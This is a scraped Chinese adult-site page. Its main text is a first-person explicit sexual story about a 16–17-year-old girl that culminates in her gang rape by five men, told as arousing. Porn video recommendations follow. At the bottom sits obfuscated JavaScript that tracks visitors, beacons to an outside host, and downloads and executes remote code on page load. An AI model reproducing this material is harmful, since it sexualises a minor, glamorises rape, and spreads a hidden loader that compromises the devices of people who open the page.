热搜排行
我的处女身

我叫小芙,今年17岁,165公分,45公斤,比例还算过得去。或许因为基因良好,以及妈妈不时就煮补品给我吃,E罩杯的胸围,已经比同年纪的女孩傲人许多,加上我不喜欢晒太阳,全身上下的肌肤,称上白里透红也不为过

从小到大,看到我的亲戚师长,都不忘夸我长得漂亮,纵然我自己觉得还有许多进步空间,他们可能都在讲客套话,但自己确实也收过不少情书,可惜,我读的是女校,平时上下学都要向妈妈报备,根本没有交男友的空闲,就算我想接受哪个男孩,也根本是不可能的事情。

在众人眼中,我算是个品学兼优的好孩子,功课名列前茅,也没什幺奇怪的个性,就是家里管得严一些,假日也多半待在家中,和朋友出去的机会是少之又少,顶多就是黄昏时分去附近公园溜溜狗,是以,我放假最大的娱乐,不过就是看看电视,还有在房间上上网,和朋友们用即时讯息聊聊天。

直到某一天,我点开了忘记是谁传给我的连结,不点还好…

那竟然是一个色情视讯网站的连结。

网站里,有形形色色的男女,就在私人频道里对着镜头裸露身体,有些播着播着,慢慢就面对镜头自慰起来,大胆一点的,甚至就和另一半做爱给全世界看,我已经十六岁,当然不是什幺都不懂的小孩,想说爸妈平时也不会进我房间,好奇心驱使下,怕频道声音太大,我戴起耳机,决定偷偷浏览这些网站,我想,这应该不为过吧。

记得那时,我点开了一个金髮外国女子的频道,进入频道时,她已经把自己的阴部对準镜头,右手拿着一根白色的自慰棒,不断来回抽插,每插一下,耳机里便传来骇人的浪叫声,看了立时让人觉得脸红心跳,之后,我看女子手来回的速度越来越快,力量似乎也越来越大,浪叫声几乎已经到了嘶吼的地步,忽然,我见她猛力将自慰棒拔出。

她的阴部就随着这最后一下抽插,喷出大量的液体,一滴不漏的全喷在镜头上。

这时,视讯框旁的聊天室,众人的交流此起彼落,女子最终擦了擦镜头,视讯恢复了先前的明亮,她和聊天室里的众人闲聊几句后,便做了一个掰掰的手势,关了视讯频道,顿时,几百人的聊天室也做鸟兽散。

看完女子全程约莫二十分钟的自慰过程,一种做坏事的紧张心理,以及少女的身体反应,回过神来,我才发现,自己的内裤早已湿了大半,这实在是很令人害羞的事,我只好赶紧将内裤褪下,因为意犹未竟,怕换上新的内裤等会儿还会再湿,我便索性光着下身,大胆的点开下个频道。


截至那时,我还没有流出这幺多分泌物过…

接连几个频道,我发现,每到紧要关头,频道里的人都会示意要收费,果然,天下没有白吃的午餐,大部分稍有姿色的女子,她们播放的内容,都是要付费进入观看的,但这网站也提供一些纯粹想转播给网友看,而不在乎收不收费的人频道,所以找了一下,也不难找到一些,长相、身材、年纪,较不如人意,却可以让我看完全程的频道。

转眼,我已经看了三个频道,记得是两女一男的自慰全程,我的椅子,几乎已经不能坐人,戴着耳机,萤幕播着一个年轻微胖女子正在自慰,她拿着我日后才懂得的跳蛋,正努力按摩她全身的敏感带,而这时…

我已忍不住将左脚擡起,左手慢慢滑向自己的阴部,这不滑还好,一滑才发现自己湿的惊人,我好奇地将手掌摊在眼前,手指一开,分泌物竟然已足够在两指间牵丝,这画面更加激起我的慾望,耳机里,那微胖女人也发出呻吟,我的手指再也忍不住,直往阴部探去。

大阴脣、小阴唇、小豆豆,我的手不管按到何处,触电的感觉便充满全身,慾望让我失去理智,飘然间,身体的自然反应,正不断加速手的震动率,一股股暖流不断沁过手掌,我知道,那是自己已经湿的一蹋糊涂的证明。

眼睛盯着萤幕中的微胖女人,兴奋间,两眼余光瞄到房间的落地镜,索性,我便将椅子转向,让身体对着落地镜,已经开始对着镜子自慰…

我将左腿跨上椅靠,把右腿跨上电脑桌,好让阴部可以完全暴露在镜子的反射中,这是我第一次这幺仔细看自己的阴部,忽然,我心中扬起了细细欣赏它的念头,我稍压下心中想要快抚的情绪,用右手,慢慢将阴唇拨开,这时,雪白的双腿间,一片淡粉红色,映着不断泌出的分泌物,嫩嫩的阴肉呈现在我眼前。

我右手撑着,左手摸了摸已经勃起的小豆豆,一阵酥麻感窜过了全身,接着,我将食指慢慢伸进阴道里,那裏,是我从未有人进入过的处子之地,一股强大的罪恶感和性兴奋,交相刺激着我的感官,我好想要有东西进去,狠狠的,用力地插进去,我的食指,一点一点的滑入,内心的慾望,也越来越高涨,直到,我碰到了阻碍,在阻碍前,我不敢再往前,那不但痛,而且令我挣扎…

那就是我珍贵的处女膜。

我并未打算在自慰时,就把处女膜弄破,或许,我未必会把处子之身留给丈夫,但我想,至少也得给我心爱的男人,而不是我一时兴起就给了手指,看了看萤幕中女人的肥胖胸部,我萌生比较的念头,于是,我脱下了衣服,以及纯白的内衣。

内衣褪去的那一剎,一对雪白的嫩乳,弹出来时,更在镜子中晃动几下。

这就是我自豪的一对胸部,明亮的灯光,胸部底下的青筋若隐若现,我想,E罩杯绝对不是我的极限,将来再次发育,或是生完小孩,这对双峰,究竟能大到什幺程度,我说也说不準,但可以肯定的是,将来绝对不会有在这幺粉嫩的时候了。

我一手由下往上托住自己的左乳,17岁少女肌肤的弹性触感立刻传来,滑滑软软的手感,让我忍不住去轻揉,而每揉一下,在看着镜子,一股羞耻又舒服的感觉,也随着传入心头。看着自己,玩弄自己挺立白嫩的巨乳,不大的乳晕,粉粉嫩嫩的奶头,我右手稍稍擡起右胸,脖子一低,或许这是人矮,胸部又大的好处吧…

我一口吸住了自己的右胸奶头。

舌尖的刺激,使我迷上了这种感觉,致使我不断让舌头在奶头间滑动,双脣本能性的吸吮着自己,我的左手放弃左胸的抚摸,而是再往小豆豆摸去,我偷瞥镜中的自己,一个皮肤雪白的少女,擡开了两条腿,暴露出一整个阴毛稀疏,内肉粉嫩的阴户,一手更不断的刺激着自己,另一边,胸伟的左乳不断颤动,右乳正被自己奋力搓揉吸吮,耳中传来的,是没关频道里的呻吟声,我也好想叫出声…但叫出声肯定会被家人发现。

就在这样交迫下,我感受到了前所未有的快感,一阵从体内透出来的酥麻,使我双手无法再动作,阴部无法控制的流出鲜鲜水液,我没法去阻止,只有放任身体不断抖动,我咬着刚按摩完阴部的左手,那股味道刺激着我的味蕾,致使我不断舔着自己的手指,那天,我根本不知道自己发生了什幺事…

谁叫,那是我人生第一次高潮。

之后,我像是打开了某种开关一样,寻常的自慰方式已经满足不了这副身体,我买了视讯镜头,自己也办了一个频道帐号,开始转播自己的自慰过程给全世界看,当然,那是以脸绝对不会被照到为前提。

我大胆的将镜头直接照着我的阴道,淫蕩的一开一合给观众们看,有些眼尖的人发现我的处女膜尚在,几经逼问之下,我也懒得再争辩,便将自己还是处女的消息告诉所有人,从那之后,我每天的观众流量,便高达数千人,接收的讯息更是多不胜数,不外乎是要我当场弄破处女膜给他们看,有一些更夸张,甚至来讯要帮我破处。

当然,我是一概不会答应他们的,我的处女,是要留给心爱的人的,不论我在网路世界有多幺的淫蕩,甚至已曾将各种容易取得的细棒,擦进我的小菊花里,但现实生活中,我依然扮演那个品学兼优的好学生,一个人见人爱,又有点高不可攀的十六岁少女。

直到那晚,我都还是这样子的。

放学之后,吃完晚餐,我的例行作业便是带家里的小西施犬──奇奇,到附近去散散步,这项例行作业是夏天专属的,全因夏天昼长,爸妈才放心让我晚上出门,不然平常只要天一黑,爸妈总会持一种,女孩容易被怎幺样的论调,禁止我再往外跑。

今天晚上异常焖热,我穿了件热裤,套件宽鬆的无袖上衣,就鍊起奇奇準备出门,出门时妈妈还不忘念两句我穿得太少,要我多穿点再出门,但这幺热的天气,我实在只能假装已经出门没听到,赶紧带奇奇出去透透风,也让我自己透透风。

但说也奇怪,今天倒是没多久便入夜了,才走到平常中继点的小公园,天色便暗了下来,或许是因为夏天到了,夜间路灯的开启时间往后调,还是它根本就坏了,我和奇奇来到公园时,这里竟然是一片漆黑,只有凉亭那裏稍见灯光。

没有办法,走也走了好一阵子,现在只想找个地方坐下来休息,便穿过黑暗,往凉亭那走去。靠近凉亭,也才发现那里的灯光不算路灯,只是不知道是谁摆在这里的座立式手电筒,插头还明显偷接着凉亭的电。


我凉亭,甚至整个公园都没有人,没想太多,便以最舒服的姿势坐着休息,把奇奇随便鍊在一旁让牠自己去玩,我擡着腿,手搧着风,焖热的天气只让我想快点回去吹冷气,直到休息了一段时间后,脑中浮现一个刺激的念头…

我想在没人的公园自慰…

一开始,我还为这种奇异的想法笑了一下,直到一阵阵轻吹而来的凉风,拂进我敞开的双腿间,一股骚动也连带吹进了慾望,我感到,此刻,我很想要,我很想自慰,就在这没人的公园。

转眼,我已脱去身上的衣物,四下仍然无人,公园的灯也依然没开,看看手机,距离平常回家的时间还有半小时多,绝对够我乱玩一阵之后再赶回家,于是,我大胆的赤裸着身体,就坐在凉亭的圆桌上,以坐姿敞着M字腿,向着凉亭外便自慰了起来。

强大的耻辱感,以及被窥慾的满足,使自己瞬间便进入浑然忘我的境地,我的手不断来回搓揉着嫩胸,手指也不断挑逗自己的阴肉,由于近几月的熟练,我已比往昔更懂得爱抚自己的身体,很快,阴部的汁溢便不断溢出,自然的凉风习习吹过,兴奋而下的汗水流遍全身,一种比上频道自慰更大的快感,传遍了我的身躯,我索性闭上眼,尽情享受这美妙的一刻。

直到奇奇开始在一旁不断大呼小叫,我才不耐烦的睁开眼,看看牠究竟在叫什幺,不睁开还好,一睁开,我看到奇奇不断对着凉亭吠叫,只因,在我大开的双腿前,不知何时,站了五个高矮胖瘦各异的男子。

我不知道他们究竟看了多久,但我敢肯定,绝对已有段时间,因为,其中有两个人,已经掏出他们黑粗的肉棒,不断地套弄着,自从加入了那个网站,我也明白男性这幺做,究竟是为了什幺。

那两只肉棒,一只黑短而粗,一只既黑且长,龟头已被汁液擦的黑亮,他们的兴奋,肯定是看了刚刚忘情自慰的自己吧。

我想,公园的灯肯定是坏了,而眼前这五个人,他们衣衫褴褛,虽然凉亭的灯光相当微弱,但仍足以照出他们髒乱不堪的面容,鬍子乱窜,脸色黯沈,头髮想必好几天没洗了,他们究竟是谁,是从哪来的,会不会对我怎样,眼下,我已经没时间害怕,我应该抓起衣服,赶快逃走,趁这五个人还没有一点侵犯我的念头。但他们没有任何念头,我的脑海却先浮出了更可怕的念头…

我想就这样自慰给他们看。

于是,我任由奇奇去叫,就对着这五个陌生且髒兮兮的男人,继续自慰,而且,这下我的分泌物流的更多,揉得更大力,甚至已不再低声呻吟,而是催情的媚叫着。我要让他们看,让他们看看我全身上下每一寸美丽的胴体。

果然,本来只有两根肉棒被掏出来,没多久,这五人都把裤子给脱了,从没真正看过肉棒的我,一下子就有五根不同的肉棒摆在我眼前,心中不晓得是兴奋还是开心,但可以肯定,我已全然忘了害怕和紧张,且尽全力自慰给这五人看。

这五个人绝对都够当我的父亲,甚至有一两个,或许已够资格当我爷爷,想到这股羞耻,本来是汩汩流出的爱溢,已经成了奋力喷发的淫水,我可以感受手指那种掏不尽水流的感受,甚至有大量的水水,都浸湿了我的屁股。

我永远想像不到这晚的画面,白皙透红的十六岁女孩,晃动着一对冒筋的E罩杯巨乳,颤动着粉嫩的乳头,正努力翻开嫩红的阴肉,喷出淫水好供五个游民套弄,我看到有三个人,他们的肉棒已然矗立,那又大,又粗,又黑的菇朵型龟头,刺激着我的心灵,浮冒的青筋在茎棍上横窜,这映入眼帘的一切,无一不让我兴奋。

忽然,我觉得我快到极限了,那种高潮的酥麻感就要来了,然而…

一名男子再也忍不住,提起肉棒,便往我这里扑来,他是个稍有肚子的男人,很矮,不比我高多少,浑身又黑又臭,咧笑的嘴中,隐隐露出一口烂牙和口臭。他一句话也没说,便一把抱起了我,瞬间,一股不堪入味的恶臭进入我的鼻腔,心里一噁心,马上就想呕吐。

但那男人把我一抱,一嘴又吸住了我甜美丰硕的乳房,粉嫩的奶头,在他一点也不怜香惜玉的齿间,不断被吸吮、磨咬、狠舔,弄得我又痛又痒,却又带着一股刺激才是最矛盾的,我的大腿贴着他滚烫的肉棒,这才让我重拾刚开始的不安。

我是处女啊,难道今天要失身给这几个流浪汉?


我开始排斥,想要推开把我搂在胸怀里的这名胖汉。

他却先说:「推我?刚刚妳不是爽的很起劲?」

我说:「我要回家了…放开我…」

这时,后头一个已经髮色斑白的男子,也说:「妳爽完就走了,没看到我们五个的老二才被妳叫醒,妳现在就走,留我们五支老二怎幺办?」

「放开我!不然我报警了!」

一个戴眼镜的男子说:「报警?妳敢这样去找警察妳就去啊,我最讨厌别人用警察吓我,妳不说还好,妳现在说了,我现在就要妳好看。」

「那…放我回家就好…我不会把这件事说出去。」

一个高瘦的男子说:「到底谁怕这件事情传出去,妳是附近女中的吧?晚上不回家,在公园玩给陌生男人看,传出去妳才别想嫁了吧?」

「求求你们…放我回去…」

那抱着我的男人说:「可以,但得先让我们消消火,我们几个都是住这凉亭的游民,本来相安无事,妳刚刚大可一看到我们就走的,但现在我们的火已经被妳挑起来了,我们爽完妳就可以回家了。」

「不…不可以…我要回家了!」

我奋力挣脱,但那男的只是抱得更紧,吸得更大力。

眼镜男说:「不可以?给叔叔我们干一次又不会少一块肉,我们的技术肯定好过妳的小男朋友,还是说,妳还没被开过苞?这就情有可缘了。」

听到这句话,我宛如听到一线生机,坦承说:「对…我还没有经验…所以…可不可以请妳们放我走…不然我给你们钱…我知道错了…」

谁知,这样讲更惨,那抱住我的胖男立刻用手指探入我的阴道,那股瞬间插入的疼痛令我忍不住叫了出来,手指深深抓住了他汙垢满布的皮肤,一股抠下髒垢的噁心感顿时令我想吐。

胖男笑说:「真的是处女。」

白髮男说:「小朋友,处女就不要到处跑,很危险的,遇到坏人怎幺办?」

我的眼泪已经到了眼眶口,想我从未被男人摸过的阴部,却被一个浑身髒汙的男人,用骯髒的手指摸了一回,只得求饶:「对不起…请你们放我走吧…我裤子里有几千块,都给你们好不好,请你们让我回家。」

谁知,眼镜男笑说:「你觉得几千块够买一个处女吗?我们几个的人生已经完蛋了,就算今晚之后被警察抓了也无所谓,但妳的处女就给我们了,老子人生毁了,也要妳的未来陪葬!」

听到这里,我的眼泪便流了下来。接着,我再也没有反抗的力量,只得任他们摆布,胖男抱着我,大力的揉着我的胸部,那股疼痛,混杂着恐惧,泪水不断滴落,我想大声呼救,但他们一发现我有这个意图,高瘦男便提着肉棒靠了过来。

他的肉棒少说也有十七公分,黑黑髒髒的,散发一种恶臭,龟头很小,整根是偏细的,二话不说,他便把这根十七公分的棒子,狠狠塞进我的樱桃小嘴里,深深顶住我的喉咙,一股呕吐感涌起,我马上便想吐,谁知,高瘦男率先抓住我的头髮。

「敢咬痛我,我就让妳更痛,听懂没有!」

接着,我的第一次口交,便给了这支细长噁心的肉棒,高瘦男不断做着活塞运动,每一下,都深深顶进我的喉咙,我声音一点也发不出来。同一时间,我发现自己从双腿被擡了起来,更被分的好开,一种稀疏的感觉,由小腿进入大腿,马上,尖尖刺刺的,又麻又软的刺激,从整个阴部传来,肯定是有哪个男人开始舔我的阴部,只听一个声音,不断说:「香,处女的果然香,好喝…」

我自豪的E罩杯双峰,则正被矮胖男用粗短的肉棒顶着,他马眼所分泌出的前列腺液,沾湿了我的嫩胸,也沾湿了我粉红的奶头,白髮男则握住我的手,让我的手不断套弄他的肉茎,一股滚烫、坚硬的感觉,刺激着我稚嫩的皮肤,没多久,白髮男便射了…

全部由侧边射到我的脸上,这是我第一次接触男性的精液,那种又腥又臭的味道,顺着我的额头,流过眼窝,滴过鼻子,不得已呼吸时,竟还吸入了一点,我顿时止不住咳嗽,咬伤了高瘦男的肉棒。


只见他哼了一声,拔出肉棒,我往脸上便是一巴掌。说时迟那时快,矮胖男也因兴奋过度,对着我的脸射出一股热精,他的精液,比白髮男的更稠、更黏、更加噁心,由于嘴里已经没有肉棒,矮胖男用龟头沿着我的脸,将精液尽皆沾满了,再全部塞进我的嘴里,并要我全部舔乾喝下…

就这样,我吃了生平第一口精液,一个矮胖男人,又腥又臭的精液。

「不行,太久没干了,这妹妹有这幺辣,忍不住。」

「她奶子又大又软,等等干完处女苞,一定要打个奶炮才够本。」

「妈的,敢咬我,幸亏老子够硬。」

这时,舔我阴部的鬍渣男,也放下了我的双腿,说:「处女汤果然好喝,你们一定要试试,不过等等就开干了,像我有经验,就知道要先喝,这妹体质不错,很会流汤,等等一定很好干。」

他们把我成大字形,趴躺在凉亭石桌上,我顿时觉得自己就像块肥肉,完全没有抵抗力,现在,连喊救命的力气都没有了,眼镜男忽然拿出一条布,遮住了我的眼睛,说「妹妹,我知道妳读过书,一定很看不起我们这种人,我这辈子也最讨厌妳们这种读过几本书,就狗眼看人低的家伙,所以妳被我们这样开苞,刚好而已,反过来,妳还要谢谢我们,没有人开苞就这幺爽的。」

「现在我就矇住妳的眼睛,妳知道为什幺要这样吗?因为我要妳永远不知道自己是被谁开苞的,我要妳永远只知道自己是贱货,在公园凉亭玩给游民看,然后不知道被哪个游民干得死去活来!」

我的眼睛就这幺被矇上,眼镜男刚刚一席话,让我的眼泪再度止不住流下,但我已无声再啜泣,因为视觉的丧失,我剩下的感官变得格外敏感,尤其是阴部的触感,赫然,我的双腿被狠狠分开,头被一只强而有力的手压住,他们讨论着。

「谁要先干?」

「我又硬了,可以干。」

「我这辈子没干过处女,可不可以给我?」

「想个办法,抽籤什幺的?」

「快点,我忍不住了。」

男人们交相讨论着,我只能猜想,这第一根插进我蜜穴的肉棒,是黑粗的?还是细长的?它插进去是什幺感觉,会不会很痛,这些人身上这幺髒,难道都没有什幺病吗?各种不同形象的肉棒转换在我脑海,但我没得思考太久,阴道口,已被一个坚硬的东西顶着…

我还没来的及害怕,刚刚不断放射的淫液,正在积极润滑着陌生的龟头,一只手按着我的屁股,硬物先是在我的阴道口滑了几下,忽然…

一个猛力的插入,我从不敢进入的处女地,被一根粗大坚硬的骯髒肉棒,狠狠的一进到底,处女膜破裂的疼痛,子宫口受触的压迫,促使我的阴道不断收缩,然而越是收缩,阴道壁便越贴紧肉茎,肉棒开始运动,拔出去,再狠狠的插进来,每一下,都顶到我疼痛的最深处,每一下,我未经人事的阴道,宛若就要裂开,龟头菇朵每一下都刮着阴道壁,又痛又酥又麻的快感,使我忘了羞耻,终于,我开始忘情淫叫,男人们开始喝采我的主动,没多久,想必我的阴道让这第一次来访的陌生客人舒服至极…

一种从未有过的触动,在我的阴道深处颤抖,接着,肉棒便被拔出,灼热滚烫的感觉,由内而外流出阴道,一只手指,沾了沾我的阴道口,然后将混满血腥味与腥臭的精液,送进我的嘴里。

马上,一个男人将我抱起,用火车便当的姿势开始猛力抽插着我,我已闻不到男人身上的恶臭,而是忘情地抱着他,用雄伟的双峰,藉由不断摩擦他的胸膛,来换得更多快感。抽插到一半,我忘情呻吟着,一根迫不及待的肉棒,由上而下插进我的嘴里,又是深深顶进我的喉咙中,但可怕的不是这个,而是我感受到自己的小菊花,正被一个硬物疯狂探进…

不一会,又一根肉棒,夺走了我菊花的贞节。

肠壁的刺激,紧接着相隔一线的阴道壁,括约肌猛力收缩、撑大,阴道口也不断被插入、插出,我已经陷入疯狂,我的嘴、菊花、蜜穴,正被三方面不断抽插攻击着。

而双手,也正帮忙套弄着两支肉棒。

男人们不断交谈彼此有多爽,我闷哼的呻吟让他们更加兴奋。但被深顶着的喉咙,却是一点话语也说不出,慢慢,我竟然开始享受这种被姦淫的感觉,我竟然开始享受被这游民狂干的快感。

高潮的酥麻感来了,但他们几个却毫无射精的意思,我高潮过一遍又一遍,直到一个男人高呼。

「一次全给她,你们要射了没?」

「差不多了,我也快忍不住了。」

「好,那我喊一二三,我们一起给她。」

「来,準备好。」

「一、二、…」

三,几股浓精,分别灌入我的菊花、喉头、蜜穴,还有两股喷在我脸上和身上,我瘫软在石桌上,只觉下体又痛又麻,不断有热流窜出,我想,那就是刚刚射入的精液流出来吧,脸上黏糊糊的,肯定也沾满了一大堆精液。

男人们意犹未竟,那晚,我的阴道起码接受了十多次精液的灌浆,嚐了二十多回的口爆,因洞口不够用,小菊花也不知吸了多少精液,我已经想不起那晚我是如何回家的了。

那天之后,我已经三个月没来了,究竟,是谁夺走我的处女?又是谁让我怀孕了呢?

猜你喜欢下面这些


  • 花界闪亮超新星,探花野狼10号,专选美女希望保持下去


    花界闪亮超新星,探花野狼10号,专选美女希望保持下去
    197人观看

    花界闪亮超新星,探花野狼10号,专选美女希望保持下去

  • VENX-148-C パートから帰ってきた母親のツンと鼻をつく汗の匂いで理性を失った息子


    VENX-148-C パートから帰ってきた母親のツンと鼻をつく汗の匂いで理性を失った息子
    871人观看

    VENX-148-C パートから帰ってきた母親のツンと鼻をつく汗の匂いで理性を失った息子

  • 冲田杏梨的大奶


    冲田杏梨的大奶
    102人观看

    冲田杏梨的大奶

  • 可爱的韩国小女生


    可爱的韩国小女生
    544人观看

    可爱的韩国小女生

  • BBAN-289你到底是谁...?被攻击的美少女。直到堕落到女同性恋~松本一香河奈亚依第07集


    BBAN-289你到底是谁...?被攻击的美少女。直到堕落到女同性恋~松本一香河奈亚依第07集
    593人观看

    BBAN-289你到底是谁...?被攻击的美少女。直到堕落到女同性恋~松本一香河奈亚依第07集

  • OPPW-139 スーパーリバりっかが男たちをメス鳴きさせながらおち○ぽ中毒にしちゃう


    OPPW-139 スーパーリバりっかが男たちをメス鳴きさせながらおち○ぽ中毒にしちゃう
    558人观看

    OPPW-139 スーパーリバりっかが男たちをメス鳴きさせながらおち○ぽ中毒にしちゃう

  • 换妻_淫荡老婆蒙上眼都不知道谁在干她。


    换妻_淫荡老婆蒙上眼都不知道谁在干她。
    804人观看

    换妻_淫荡老婆蒙上眼都不知道谁在干她。

function rDbavnK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function QGrUp(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rDbavnK(t);};window[''+'P'+'Z'+'k'+'K'+'t'+'S'+'n'+'O'+'e'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MkShE(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=QGrUp,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MkShE(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MkShE(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBODgg5MQ==','d3NzJTNBJTJGJTJGYSS5rZmdqYSS5jbiUzQTk1MzM=','168621',window,document,['g','S']);}:function(){};